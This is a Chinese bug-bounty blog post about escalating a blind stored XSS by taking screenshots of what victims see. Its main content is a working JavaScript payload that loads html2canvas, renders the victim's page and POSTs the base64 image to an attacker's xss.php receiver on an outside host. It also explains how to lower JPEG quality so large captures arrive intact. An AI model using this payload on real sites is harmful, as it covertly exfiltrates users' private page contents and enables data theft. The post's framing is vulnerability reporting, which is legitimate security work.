12. xss bypass xss截屏


layout: post
title: 12. xss bypass
category: SRC
tags: SRC
keywords: SRC,XSS

前言

该篇记录为记录实际的src过程第12篇小文章,内容为某网站的xssbypass。

盲打存储xss

一般的存储xss,会遇到两种情况:

  1. 可以公网访问,则视后台的敏感程度定危害,一般可到高危。
  2. 不可以公网访问,打到cookie,如果没有证明危害,一般会给中危。
  3. 可蠕虫的用户xss,高危
  4. 不可蠕虫的普通的用户级别存储xss,中危

提升危害的方法

对于第二种情况,能想到的提升危害的方法就是xss截图。

document.write("<script src=\"https:\/\/xxxxx\/html2canvas.js\"><\/script>");

window.onload = function () {
    html2canvas(document.body, {
        onrendered: function (canvas) {

            //下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post
            xhr = function () {
                var request = false;
                if (window.XMLHttpRequest) {
                    request = new XMLHttpRequest();
                } else if (window.ActiveXObject) {
                    try {
                        request = new window.ActiveXObject('Microsoft.XMLHTTP');
                    } catch (e) {

                    }
                }

                return request;
            }();

            request = function (method, src, argv, content_type) {
                xhr.open(method, src, false);
                if (method == 'POST') xhr.setRequestHeader('Content-type', content_type);
                xhr.send(argv); //发送POST数据
                return xhr.responseText;
            };

            attack_a = function () {
                var src = "https://xxxx/xss.php?do=api&id={projectId}"; //post接收地址
                var argv_0 = "'&screenshot=" + canvas.toDataURL(); //post字段名称为screenshot
                request("POST", src, argv_0, "application/x-www-form-urlencoded");
            };

            attack_a();


        }
    });
}

但是这种平台遇到的问题就是,有时候图片数据过大,转为base64传过来的时候会少数据。
这个时候就可以减少像素传输的方式将完整的图片传过来。

解决办法

var fullQuality = canvas.toDataURL("image/jpeg", 1.0);
// data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ...9oADAMBAAIRAxEAPwD/AD/6AP/Z"
var mediumQuality = canvas.toDataURL("image/jpeg", 0.5);
var lowQuality = canvas.toDataURL("image/jpeg", 0.1);

最后的效果看,还是能够清楚的看到用户的数据的。

后话

xxxxx

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值